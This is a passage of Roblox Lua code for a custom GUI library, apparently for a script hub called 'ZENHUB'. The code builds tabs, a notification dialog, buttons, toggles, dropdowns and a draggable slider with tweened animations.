
UIPageLayout.EasingStyle = Enum.EasingStyle.Quad

UIPageLayout.FillDirection = Enum.FillDirection.Vertical

UIPageLayout.Padding = UDim.new(0, 15)

UIPageLayout.TweenTime = 0.400

UIPageLayout.GamepadInputEnabled = false

UIPageLayout.ScrollWheelInputEnabled = false

UIPageLayout.TouchInputEnabled = false

MakeDraggable(Top,Main)

UserInputService.InputBegan:Connect(function(input)

if input.KeyCode == Enum.KeyCode[yoo] then

if uihide == false then

uihide = true

Main:TweenSize(UDim2.new(0, 0, 0, 0),"In","Quad",0.4,true)

else

uihide = false

Main:TweenSize(UDim2.new(0, 480, 0, 280),"Out","Quad",0.5,true)

end

end

end)

local uitab = {}

function uitab:Tab(text,img)

local TabButton = Instance.new("TextButton")

local TabImage = Instance.new("ImageLabel")

TabButton.Parent = ScrollTab

TabButton.Name = text.."Server"

TabButton.Text = text

TabButton.BackgroundColor3 = Color3.fromRGB(224,224,224)

TabButton.BackgroundTransparency = 1.000

TabButton.Size = UDim2.new(0, 130, 0, 23)

TabButton.Font = Enum.Font.Gotham

TabButton.TextColor3 = Color3.fromRGB(225, 225, 225)

TabButton.TextSize = 11.000

TabButton.TextTransparency = 0.100

local TabFrame = Instance.new("Frame")

local UICornerFrame = Instance.new("UICorner")

TabFrame.Name = "TabFrame"

TabFrame.Parent = TabButton

TabFrame.ClipsDescendants = true

--TabFrame.Position = UDim2.new(0, 1, 0.1, 2)

TabFrame.BackgroundColor3 = Color3.fromRGB(31, 31, 31)

TabFrame.BackgroundTransparency = 0.500

TabFrame.Size = UDim2.new(0, 120, 0.1, 23)

UICornerFrame.CornerRadius = UDim.new(0, 5)

UICornerFrame.Parent = TabFrame

TabImage.Name = text or "TabImage"

TabImage.Parent = TabFrame

TabImage.BackgroundColor3 = \_G.Color

TabImage.BackgroundTransparency = 1.000

TabImage.Position = UDim2.new(0, 0, 0, 0)

TabImage.Size = UDim2.new(0, 20, 0, 20)

TabImage.Image = img or "rbxassetid://8666601749"

TabImage.ImageColor3 = \_G.Color

local MainFramePage = Instance.new("ScrollingFrame")

MainFramePage.Name = text.."\_Page"

MainFramePage.Parent = PageList

MainFramePage.Active = true

MainFramePage.BackgroundColor3 = Color3.fromRGB(224,224,224)

MainFramePage.BackgroundTransparency = 1.000

MainFramePage.BorderSizePixel = 0

MainFramePage.Size = UDim2.new(0, 400, 0, 245)

MainFramePage.CanvasSize = UDim2.new(0, 0, 0, 0)

MainFramePage.ScrollBarThickness = 0

local UIPadding = Instance.new("UIPadding")

local UIListLayout = Instance.new("UIListLayout")

UIPadding.Parent = MainFramePage

UIPadding.PaddingLeft = UDim.new(0, 10)

UIPadding.PaddingTop = UDim.new(0, 10)

UIListLayout.Padding = UDim.new(0,15)

UIListLayout.Parent = MainFramePage

UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder

TabButton.MouseButton1Click:Connect(function()

for i,v in next, ScrollTab:GetChildren() do

if v:IsA("TextButton") then

TweenService:Create(

v,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0.5

}

):Play()

end

TweenService:Create(

TabButton,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0

}

):Play()

end

for i,v in next, PageList:GetChildren() do

currentpage = string.gsub(TabButton.Name,"Server","").."\_Page"

if v.Name == currentpage then

UIPageLayout:JumpTo(v)

end

end

end)

if abc == false then

for i,v in next, ScrollTab:GetChildren() do

if v:IsA("TextButton") then

TweenService:Create(

v,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0.5

}

):Play()

end

TweenService:Create(

TabButton,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0

}

):Play()

end

UIPageLayout:JumpToIndex(1)

abc = true

end

game:GetService("RunService").Stepped:Connect(function()

pcall(function()

MainFramePage.CanvasSize = UDim2.new(0,0,0,UIListLayout.AbsoluteContentSize.Y + 20)

ScrollTab.CanvasSize = UDim2.new(0,0,0,PLL.AbsoluteContentSize.Y + 20)

end)

end)

function Update:Notification(textdesc)

local NotificationHold = Instance.new("TextButton")

local NotificationFrame = Instance.new("Frame")

local OkayBtn = Instance.new("TextButton")

local OkayBtnCorner = Instance.new("UICorner")

local OkayBtnTitle = Instance.new("TextLabel")

local NotificationTitle = Instance.new("TextLabel")

local NotificationDesc = Instance.new("TextLabel")

local NotifCorner = Instance.new("UICorner")

local NotifHolderUIStroke = Instance.new("UIStroke")

local Line = Instance.new("Frame")

NotificationHold.Name = "NotificationHold"

NotificationHold.Parent = ZENHUB

NotificationHold.BackgroundColor3 = \_G.WindowBackgroundColor

NotificationHold.BackgroundTransparency = 1

NotificationHold.BorderSizePixel = 0

NotificationHold.Size = UDim2.new(0, 589, 0, 378)

NotificationHold.AutoButtonColor = false

NotificationHold.Font = Enum.Font.SourceSans

NotificationHold.Text = ""

NotificationHold.TextColor3 = \_G.SectionTextColor

NotificationHold.TextSize = 13.000

TweenService:Create(NotificationHold, TweenInfo.new(.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {

BackgroundTransparency = 1

}):Play()

wait(0.4)

NotificationFrame.Name = "NotificationFrame"

NotificationFrame.Parent = NotificationHold

NotificationFrame.AnchorPoint = Vector2.new(0.5, 0.5)

NotificationFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 15)

NotificationFrame.BorderColor3 = \_G.SectionColor

NotificationFrame.BorderSizePixel = 0

NotificationFrame.Transparency = 0

NotificationFrame.ClipsDescendants = true

NotificationFrame.Position = UDim2.new(0, 295, 0, 190)

NotificationFrame.Size = UDim2.new(0, 0, 0, 0)

NotificationFrame:TweenSize(UDim2.new(0, 400, 0, 250), Enum.EasingDirection.Out, Enum.EasingStyle.Quart, .6, true)

NotifCorner.Name = "NotifCorner"

NotifCorner.Parent = NotificationFrame

NotifCorner.CornerRadius = UDim.new(0, 5)

NotifHolderUIStroke.Name = "NotifHolderUIStroke"

NotifHolderUIStroke.Parent = NotificationFrame

NotifHolderUIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

NotifHolderUIStroke.Color = \_G.SectionColor

NotifHolderUIStroke.LineJoinMode = Enum.LineJoinMode.Round

NotifHolderUIStroke.Thickness = 1

NotifHolderUIStroke.Transparency = 0

NotifHolderUIStroke.Enabled = true

NotifHolderUIStroke.Archivable = true

OkayBtn.Name = "OkayBtn"

OkayBtn.Parent = NotificationFrame

OkayBtn.BackgroundColor3 = Color3.fromRGB(190, 190, 190)

OkayBtn.BorderSizePixel = 1

OkayBtn.BorderColor3 = \_G.SectionColor

OkayBtn.Position = UDim2.new(0, 125, 0, 190)

OkayBtn.Size = UDim2.new(0, 150, 0, 30)

OkayBtn.AutoButtonColor = true

OkayBtn.Font = Enum.Font.SourceSans

OkayBtn.Text = ""

OkayBtn.TextColor3 = \_G.SectionTextColor

OkayBtn.TextSize = 13.000

OkayBtnCorner.CornerRadius = UDim.new(0, 5)

OkayBtnCorner.Name = "OkayBtnCorner"

OkayBtnCorner.Parent = OkayBtn

OkayBtnTitle.Name = "OkayBtnTitle"

OkayBtnTitle.Parent = OkayBtn

OkayBtnTitle.BackgroundColor3 = \_G.SectionColor

OkayBtnTitle.BackgroundTransparency = 1.000

OkayBtnTitle.Size = UDim2.new(0, 150, 0, 30)

OkayBtnTitle.Text = "OK"

OkayBtnTitle.Font = Enum.Font.Gotham

OkayBtnTitle.TextColor3 = Color3.fromRGB(0, 0, 0)

OkayBtnTitle.TextSize = 22.000

NotificationTitle.Name = "NotificationTitle"

NotificationTitle.Parent = NotificationFrame

NotificationTitle.BackgroundColor3 = \_G.SectionColor

NotificationTitle.BackgroundTransparency = 1.000

NotificationTitle.Position = UDim2.new(0, 0, 0, 10)

NotificationTitle.Size = UDim2.new(0, 400, 0, 25)

NotificationTitle.ZIndex = 3

NotificationTitle.Font = Enum.Font.Gotham

NotificationTitle.Text = "Notification"

NotificationTitle.TextColor3 = Color3.fromRGB(255, 0, 0)

NotificationTitle.TextSize = 22.000

Line.Name = "Line"

Line.Parent = NotificationFrame

Line.BackgroundColor3 = \_G.SectionColor

Line.BorderSizePixel = 0

Line.Position = UDim2.new(0, 10, 0, 40)

Line.Size = UDim2.new(0, 380, 0, 1)

NotificationDesc.Name = "NotificationDesc"

NotificationDesc.Parent = NotificationFrame

NotificationDesc.BackgroundColor3 = \_G.SectionColor

NotificationDesc.BackgroundTransparency = 1.000

NotificationDesc.Position = UDim2.new(0, 10, 0, 80)

NotificationDesc.Size = UDim2.new(0, 380, 0, 200)

NotificationDesc.Font = Enum.Font.Gotham

NotificationDesc.Text = textdesc

NotificationDesc.TextScaled = false

NotificationDesc.TextColor3 = \_G.SectionTextColor

NotificationDesc.TextSize = 16.000

NotificationDesc.TextWrapped = true

NotificationDesc.TextXAlignment = Enum.TextXAlignment.Center

NotificationDesc.TextYAlignment = Enum.TextYAlignment.Top

OkayBtn.MouseEnter:Connect(function()

TweenService:Create(OkayBtn, TweenInfo.new(.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {

BackgroundColor3 = Color3.fromRGB(34,34,34)}):Play()

end)

OkayBtn.MouseLeave:Connect(function()

TweenService:Create(OkayBtn, TweenInfo.new(.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {

BackgroundColor3 = Color3.fromRGB(25, 25, 25)}):Play()

end)

OkayBtn.MouseButton1Click:Connect(function()

NotificationFrame:TweenSize(UDim2.new(0, 0, 0, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quart, .6, true)

wait(0.4)

TweenService:Create(NotificationHold, TweenInfo.new(.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {

BackgroundTransparency = 1

}):Play()

wait(.3)

NotificationHold:Destroy()

end)

end

local main = {}

function main:Button(text,callback)

local Button = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local TextBtn = Instance.new("TextButton")

local UICorner\_2 = Instance.new("UICorner")

local Black = Instance.new("Frame")

local UICorner\_3 = Instance.new("UICorner")

Button.Name = "Button"

Button.Parent = MainFramePage

Button.BackgroundColor3 = Color3.fromRGB(225, 225, 225)

Button.BackgroundTransparency = 1

Button.Size = UDim2.new(0, 310, 0, 31)

UICorner.CornerRadius = UDim.new(0, 5)

UICorner.Parent = Button

TextBtn.Name = "TextBtn"

TextBtn.Parent = Button

TextBtn.BackgroundColor3 = Color3.fromRGB(244,244,244)

TextBtn.BackgroundTransparency = 0.500

TextBtn.Position = UDim2.new(0, 1, 0, 1)

TextBtn.Size = UDim2.new(0, 308, 0, 29)

TextBtn.AutoButtonColor = false

TextBtn.Font = Enum.Font.Gotham

TextBtn.Text = text

TextBtn.TextColor3 = Color3.fromRGB(0, 0, 0)

TextBtn.TextSize = 12.000

UICorner\_2.CornerRadius = UDim.new(0, 5)

UICorner\_2.Parent = TextBtn

Black.Name = "Black"

Black.Parent = Button

Black.BackgroundColor3 = Color3.fromRGB(0, 0, 0)

Black.BackgroundTransparency = 1.000

Black.BorderSizePixel = 0

Black.Position = UDim2.new(0, 1, 0, 1)

Black.Size = UDim2.new(0, 310, 0, 29)

UICorner\_3.CornerRadius = UDim.new(0, 5)

UICorner\_3.Parent = Black

TextBtn.MouseEnter:Connect(function()

TweenService:Create(

Black,

TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

BackgroundTransparency = 0.7

}

):Play()

end)

TextBtn.MouseLeave:Connect(function()

TweenService:Create(

Black,

TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

BackgroundTransparency = 1

}

):Play()

end)

TextBtn.MouseButton1Click:Connect(function()

TextBtn.TextSize = 0

TweenService:Create(

TextBtn,

TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextSize = 15

}

):Play()

callback()

end)

end

function main:Toggle(TogInfo,default,callback)

local toggle = false

local CheckFrame = Instance.new("Frame")

local CheckFrame2 = Instance.new("Frame")

local UIStroke = Instance.new("UIStroke")

local UIListLayout = Instance.new("UIListLayout")

local UICorner = Instance.new("UICorner")

local ImageLabel = Instance.new("ImageLabel")

local Space = Instance.new("TextLabel")

local Title = Instance.new("TextLabel")

local ImageButton = Instance.new("ImageButton")

-- Prop --

CheckFrame.Name = TogInfo or "CheckFrame"

CheckFrame.Parent = MainFramePage

CheckFrame.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

CheckFrame.BackgroundTransparency = 1.000

CheckFrame.BorderSizePixel = 0

CheckFrame.Size = UDim2.new(0, 38, 0, 30)

CheckFrame2.Name = "CheckFrame2"

CheckFrame2.Parent = CheckFrame

CheckFrame2.BackgroundColor3 = Color3.fromRGB(30,30,30)

CheckFrame2.BackgroundTransparency = 1

CheckFrame2.BorderSizePixel = 0

CheckFrame2.Position = UDim2.new(0, 3, 0, 0)

CheckFrame2.Size = UDim2.new(0, 308, 0, 30)

UIStroke.Name = "UIStroke"

UIStroke.Parent = CheckFrame2

UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

UIStroke.Color = Color3.fromRGB(224,224,224)

UIStroke.LineJoinMode = Enum.LineJoinMode.Round

UIStroke.Thickness = 1

UIStroke.Transparency = 0

UIStroke.Enabled = true

UIStroke.Archivable = true

UICorner.Parent = CheckFrame2

UICorner.CornerRadius = UDim.new(0, 3)

ImageLabel.Name = "ImageLabel"

ImageLabel.Parent = CheckFrame2

ImageLabel.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

ImageLabel.BackgroundTransparency = 1.000

ImageLabel.BorderSizePixel = 0

ImageLabel.Position = UDim2.new(-0.018, 0,-0.252, 0)

ImageLabel.Size = UDim2.new(0, 45,0, 45)

ImageLabel.Image = "rbxassetid://"

ImageLabel.ImageColor3 = Color3.fromRGB(224,224,224)

Space.Name = "Space"

Space.Parent = CheckFrame2

Space.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

Space.BackgroundTransparency = 1.000

Space.Position = UDim2.new(0, 30, 0, 0)

Space.Size = UDim2.new(0, 15, 0, 30)

Space.Font = Enum.Font.Gotham

Space.Text = ""

Space.TextSize = 12.000

Space.TextColor3 = Color3.fromRGB(255,225,225)

Space.TextXAlignment = Enum.TextXAlignment.Center

Title.Name = "Title"

Title.Parent = CheckFrame2

Title.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

Title.BackgroundTransparency = 1.000

Title.Position = UDim2.new(0, 50, 0, 0)

Title.Size = UDim2.new(0, 280, 0, 30)

Title.Font = Enum.Font.Gotham

Title.Text = TogInfo or "checkBox Title"

Title.TextColor3 = Color3.fromRGB(224,224,224)

Title.TextSize = 12.000

Title.TextXAlignment = Enum.TextXAlignment.Left

ImageButton.Name = "ImageButton"

ImageButton.Parent = CheckFrame2

ImageButton.BackgroundColor3 = Color3.fromRGB(224,224,224)

ImageButton.BackgroundTransparency = 1.000

ImageButton.Position = UDim2.new(0, 280, 0, 4)

ImageButton.Size = UDim2.new(0, 23, 0, 23)

ImageButton.ZIndex = 2

ImageButton.Image = "rbxassetid://3926311105"

ImageButton.ImageColor3 = Color3.fromRGB(224,224,224)

ImageButton.ImageRectOffset = Vector2.new(940, 784)

ImageButton.ImageRectSize = Vector2.new(48, 48)

-- Toggle Script --

if default == true then

ImageButton.ImageRectOffset = Vector2.new(4, 836)

game.TweenService:Create(ImageButton, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{

ImageColor3 = Color3.fromRGB(255,225,225)}

):Play()

toggle = not toggle

pcall(callback, toggle)

end

ImageButton.MouseButton1Click:Connect(function()

if toggle == false then

game.TweenService:Create(ImageButton, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{

ImageColor3 = Color3.fromRGB(255,225,225)}

):Play()

ImageButton.ImageRectOffset = Vector2.new(4, 836)

else

game.TweenService:Create(ImageButton, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{

ImageColor3 = Color3.fromRGB(224,224,224)}

):Play()

ImageButton.ImageRectOffset = Vector2.new(940, 784)

end

toggle = not toggle

pcall(callback, toggle)

end)

end

function main:Dropdown(text,option,callback)

local isdropping = false

local Dropdown = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local DropTitle = Instance.new("TextLabel")

local DropScroll = Instance.new("ScrollingFrame")

local UIListLayout = Instance.new("UIListLayout")

local UIPadding = Instance.new("UIPadding")

local DropButton = Instance.new("TextButton")

local DropImage = Instance.new("ImageLabel")

local posto1 = Instance.new("UIStroke")

Dropdown.Name = "Dropdown"

Dropdown.Parent = MainFramePage

Dropdown.BackgroundColor3 = Color3.fromRGB(28,28,28)

Dropdown.BackgroundTransparency = 1

Dropdown.ClipsDescendants = true

Dropdown.Size = UDim2.new(0, 310, 0, 31)

posto1.Name = "posto"

posto1.Parent = Dropdown

posto1.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

posto1.Color = Color3.fromRGB(255,255,255)

posto1.LineJoinMode = Enum.LineJoinMode.Round

posto1.Thickness = 1

posto1.Transparency = 0

posto1.Enabled = true

posto1.Archivable = true

UICorner.CornerRadius = UDim.new(0, 5)

UICorner.Parent = Dropdown

DropTitle.Name = "DropTitle"

DropTitle.Parent = Dropdown

DropTitle.BackgroundColor3 = Color3.fromRGB(224,224,224)

DropTitle.BackgroundTransparency = 1.000

DropTitle.Size = UDim2.new(0, 310, 0, 31)

DropTitle.Font = Enum.Font.Gotham

DropTitle.Text = text.. " : "

DropTitle.TextColor3 = Color3.fromRGB(225, 225, 225)

DropTitle.TextSize = 12.000

DropScroll.Name = "DropScroll"

DropScroll.Parent = DropTitle

DropScroll.Active = true

DropScroll.BackgroundColor3 = Color3.fromRGB(224,224,224)

DropScroll.BackgroundTransparency = 1.000

DropScroll.BorderSizePixel = 0

DropScroll.Position = UDim2.new(0, 0, 0, 31)

DropScroll.Size = UDim2.new(0, 310, 0, 100)

DropScroll.CanvasSize = UDim2.new(0, 0, 0, 0)

DropScroll.ScrollBarThickness = 3

UIListLayout.Parent = DropScroll

UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder

UIListLayout.Padding = UDim.new(0, 5)

UIPadding.Parent = DropScroll

UIPadding.PaddingLeft = UDim.new(0, 5)

UIPadding.PaddingTop = UDim.new(0, 5)

DropImage.Name = "DropImage"

DropImage.Parent = Dropdown

DropImage.BackgroundColor3 = Color3.fromRGB(224,224,224)

DropImage.BackgroundTransparency = 1.000

DropImage.Position = UDim2.new(0, 280, 0, 6)

DropImage.Rotation = 180.000

DropImage.Size = UDim2.new(0, 20, 0, 20)

DropImage.Image = "rbxassetid://6031090990"

DropButton.Name = "DropButton"

DropButton.Parent = Dropdown

DropButton.BackgroundColor3 = Color3.fromRGB(224,224,224)

DropButton.BackgroundTransparency = 1.000

DropButton.Size = UDim2.new(0, 310, 0, 31)

DropButton.Font = Enum.Font.SourceSans

DropButton.Text = ""

DropButton.TextColor3 = Color3.fromRGB(0, 0, 0)

DropButton.TextSize = 14.000

for i,v in next,option do

local Item = Instance.new("TextButton")

Item.Name = "Item"

Item.Parent = DropScroll

Item.BackgroundColor3 = Color3.fromRGB(224,224,224)

Item.BackgroundTransparency = 1.000

Item.Size = UDim2.new(0, 310, 0, 26)

Item.Font = Enum.Font.Gotham

Item.Text = tostring(v)

Item.TextColor3 = Color3.fromRGB(225, 225, 225)

Item.TextSize = 13.000

Item.TextTransparency = 0.500

Item.MouseEnter:Connect(function()

TweenService:Create(

Item,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0

}

):Play()

end)

Item.MouseLeave:Connect(function()

TweenService:Create(

Item,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0.5

}

):Play()

end)

Item.MouseButton1Click:Connect(function()

isdropping = false

Dropdown:TweenSize(UDim2.new(0,310,0,31),"Out","Quad",0.3,true)

TweenService:Create(

DropImage,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

Rotation = 180

}

):Play()

callback(Item.Text)

DropTitle.Text = text.." : "..Item.Text

end)

end

DropScroll.CanvasSize = UDim2.new(0,0,0,UIListLayout.AbsoluteContentSize.Y + 10)

DropButton.MouseButton1Click:Connect(function()

if isdropping == false then

isdropping = true

Dropdown:TweenSize(UDim2.new(0,310,0,131),"Out","Quad",0.3,true)

TweenService:Create(

DropImage,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

Rotation = 0

}

):Play()

else

isdropping = false

Dropdown:TweenSize(UDim2.new(0,310,0,31),"Out","Quad",0.3,true)

TweenService:Create(

DropImage,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

Rotation = 180

}

):Play()

end

end)

local dropfunc = {}

function dropfunc:Add(t)

local Item = Instance.new("TextButton")

Item.Name = "Item"

Item.Parent = DropScroll

Item.BackgroundColor3 = Color3.fromRGB(224,224,224)

Item.BackgroundTransparency = 1.000

Item.Size = UDim2.new(0, 310, 0, 26)

Item.Font = Enum.Font.Gotham

Item.Text = tostring(t)

Item.TextColor3 = Color3.fromRGB(225, 225, 225)

Item.TextSize = 13.000

Item.TextTransparency = 0.500

Item.MouseEnter:Connect(function()

TweenService:Create(

Item,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0

}

):Play()

end)

Item.MouseLeave:Connect(function()

TweenService:Create(

Item,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

TextTransparency = 0.5

}

):Play()

end)

Item.MouseButton1Click:Connect(function()

isdropping = false

Dropdown:TweenSize(UDim2.new(0,310,0,31),"Out","Quad",0.3,true)

TweenService:Create(

DropImage,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

Rotation = 180

}

):Play()

callback(Item.Text)

DropTitle.Text = text.." : "..Item.Text

end)

end

function dropfunc:Clear()

DropTitle.Text = tostring(text).." : "

isdropping = false

Dropdown:TweenSize(UDim2.new(0,310,0,31),"Out","Quad",0.3,true)

TweenService:Create(

DropImage,

TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),

{

Rotation = 180

}

):Play()

for i,v in next, DropScroll:GetChildren() do

if v:IsA("TextButton") then

v:Destroy()

end

end

end

return dropfunc

end

function main:Slider1(slidertitle, min, max, start, callback)

local slider1func = {}

local SliderFrame = Instance.new("Frame")

local SliderFrame\_2 = Instance.new("Frame")

local UIStroke = Instance.new("UIStroke")

local UICorner = Instance.new("UICorner")

local ImageLabel = Instance.new("ImageLabel")

local Space = Instance.new("TextLabel")

local Title = Instance.new("TextLabel")

local SliderInput = Instance.new("Frame")

local SliderButton = Instance.new("Frame")

local SliderCount = Instance.new("Frame")

local SliderCorner = Instance.new("UICorner")

local SliderCorner2 = Instance.new("UICorner")

local BoxFrame = Instance.new("Frame")

local SliderBox = Instance.new("TextBox")

local SliderStroke = Instance.new("UIStroke")

local Title\_2 = Instance.new("TextButton")

local UICorner\_2 = Instance.new("UICorner")

local UICorner\_3 = Instance.new("UICorner")

-- Prop --

SliderFrame.Name = slidertitle or "SliderFrame"

SliderFrame.Parent = MainFramePage

SliderFrame.BackgroundColor3 = Color3.fromRGB(28,28,28)

SliderFrame.BackgroundTransparency = 1.000

SliderFrame.BorderSizePixel = 0

SliderFrame.Size = UDim2.new(0, 300, 0, 55)

SliderFrame\_2.Name = "SliderFrame\_2"

SliderFrame\_2.Parent = SliderFrame

SliderFrame\_2.BackgroundColor3 = Color3.fromRGB(28,28,28)

SliderFrame\_2.BackgroundTransparency = 1

SliderFrame\_2.BorderSizePixel = 0

SliderFrame\_2.Position = UDim2.new(0, 3, 0, 0)

SliderFrame\_2.Size = UDim2.new(0, 308, 0, 55)

UIStroke.Name = "UIStroke"

UIStroke.Parent = SliderFrame\_2

UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

UIStroke.Color = Color3.fromRGB(224,224,224)

UIStroke.LineJoinMode = Enum.LineJoinMode.Round

UIStroke.Thickness = 1

UIStroke.Transparency = 0

UIStroke.Enabled = true

UIStroke.Archivable = true

UICorner.Parent = SliderFrame\_2

UICorner.CornerRadius = UDim.new(0, 3)

ImageLabel.Name = "ImageLabel"

ImageLabel.Parent = SliderFrame\_2

ImageLabel.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

ImageLabel.BackgroundTransparency = 1.000

ImageLabel.BorderSizePixel = 0

ImageLabel.Position = UDim2.new(0, 5, 0, 5)

ImageLabel.Size = UDim2.new(0, 18, 0, 18)

ImageLabel.Image = "rbxassetid://"

ImageLabel.ImageColor3 = Color3.fromRGB(224,224,224)

Space.Name = "Space"

Space.Parent = SliderFrame\_2

Space.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

Space.BackgroundTransparency = 1.000

Space.Position = UDim2.new(0, 30, 0, 0)

Space.Size = UDim2.new(0, 15, 0, 30)

Space.Font = Enum.Font.Gotham

Space.Text = ""

Space.TextSize = 15.000

Space.TextColor3 = Color3.fromRGB(224,224,224)

Space.TextXAlignment = Enum.TextXAlignment.Center

Title.Name = "Title"

Title.Parent = SliderFrame\_2

Title.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

Title.BackgroundTransparency = 1.000

Title.Position = UDim2.new(0, 50, 0, 0)

Title.Size = UDim2.new(0, 280, 0, 30)

Title.Font = Enum.Font.Gotham

Title.Text = slidertitle or "Slider Title"

Title.TextColor3 = Color3.fromRGB(224,224,224)

Title.TextSize = 12.000

Title.TextXAlignment = Enum.TextXAlignment.Left

SliderInput.Name = "SliderInput"

SliderInput.Parent = SliderFrame\_2

SliderInput.BackgroundColor3 = Color3.fromRGB(224,224,224)

SliderInput.BackgroundTransparency = 0.7

SliderInput.BorderSizePixel = 0

SliderInput.Position = UDim2.new(0, 8, 0, 37)

SliderInput.Size = UDim2.new(0, 290, 0, 4)

SliderCorner2.CornerRadius = UDim.new(0, 100000)

SliderCorner2.Parent = SliderInput

SliderButton.Name = "SliderButton"

SliderButton.Parent = SliderInput

SliderButton.BackgroundColor3 = Color3.fromRGB(150, 150, 150)

SliderButton.BackgroundTransparency = 1.000

SliderButton.BorderSizePixel = 0

SliderButton.Position = UDim2.new(0, 0, 0, -7)

SliderButton.Size = UDim2.new(0, 290, 0, 25)

SliderCount.Name = "SliderCount"

SliderCount.Parent = SliderButton

SliderCount.BackgroundColor3 = Color3.fromRGB(224,224,224)

SliderCount.BackgroundTransparency = 0.3

SliderCount.BorderSizePixel = 0

SliderCount.Position = UDim2.new(0,start,0,0)

SliderCount.Size = UDim2.new(0, 18, 0, 18)

Title\_2.Name = "Title\_2"

Title\_2.Parent = SliderButton

Title\_2.AnchorPoint = Vector2.new(0, 0)

Title\_2.BackgroundColor3 = Color3.fromRGB(224,224,224)

Title\_2.AutoButtonColor = false

Title\_2.BackgroundTransparency = 1.000

Title\_2.Position = UDim2.new(0,start,0,0)

Title\_2.Size = UDim2.new(0, 18, 0, 18)

Title\_2.Font = Enum.Font.GothamBold

Title\_2.Text = tostring(start and math.floor((start / max) \* (max - min) + min) or 0)

Title\_2.TextColor3 = Color3.fromRGB(224,224,224)

Title\_2.TextSize = 8.000

Title\_2.TextXAlignment = Enum.TextXAlignment.Center

UICorner\_2.Parent = Title\_2

UICorner\_2.CornerRadius = UDim.new(0, 100000)

SliderCorner.CornerRadius = UDim.new(0, 100000)

SliderCorner.Parent = SliderCount

SliderStroke.Name = "SliderStroke"

SliderStroke.Parent = BoxFrame

SliderStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

SliderStroke.Color = Color3.fromRGB(224,224,224)

SliderStroke.LineJoinMode = Enum.LineJoinMode.Round

SliderStroke.Thickness = 1

SliderStroke.Transparency = 0.5

SliderStroke.Enabled = true

SliderStroke.Archivable = true

BoxFrame.Name = "BoxFrame"

BoxFrame.Parent = SliderFrame\_2

BoxFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)

BoxFrame.BackgroundTransparency = 1.000

BoxFrame.Size = UDim2.new(0, 50, 0, 15)

BoxFrame.Position = UDim2.new(0, 240, 0, 8)

SliderBox.Name = "SliderBox"

SliderBox.Parent = BoxFrame

SliderBox.BackgroundColor3 = Color3.fromRGB(200, 0, 0)

SliderBox.BackgroundTransparency = 1.000

SliderBox.Position = UDim2.new(0, 0, 0, 1.65)

SliderBox.Size = UDim2.new(0, 50, 0, 15)

SliderBox.ClearTextOnFocus = false

SliderBox.Font = Enum.Font.GothamBold

SliderBox.Text = tostring(start and math.floor((start / max) \* (max - min) + min) or 0)

SliderBox.TextColor3 = Color3.fromRGB(224,224,224)

SliderBox.TextSize = 9.000

SliderBox.TextTransparency = 0

SliderBox.TextXAlignment = Enum.TextXAlignment.Center

SliderBox.TextEditable = true

UICorner\_3.Parent = BoxFrame

UICorner\_3.CornerRadius = UDim.new(0, 2)

-- Slider Script --

local dragging

local SliderButtonStart

local SliderButtonInput

local slide = SliderButton

local function slide(input)

local slidein = UDim2.new(math.clamp((input.Position.X - SliderButton.AbsolutePosition.X) / SliderButton.AbsoluteSize.X, 0, 1), 0, 0, 0)

SliderCount:TweenPosition(slidein, Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.08, true)

Title\_2:TweenPosition(slidein, Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.12, true)

local Value = math.floor(((slidein.X.Scale \* max) / max) \* (max - min) + min)

SliderBox.Text = tostring(Value)

Title\_2.Text = tostring(Value)

pcall(callback, Value, slidein)

end

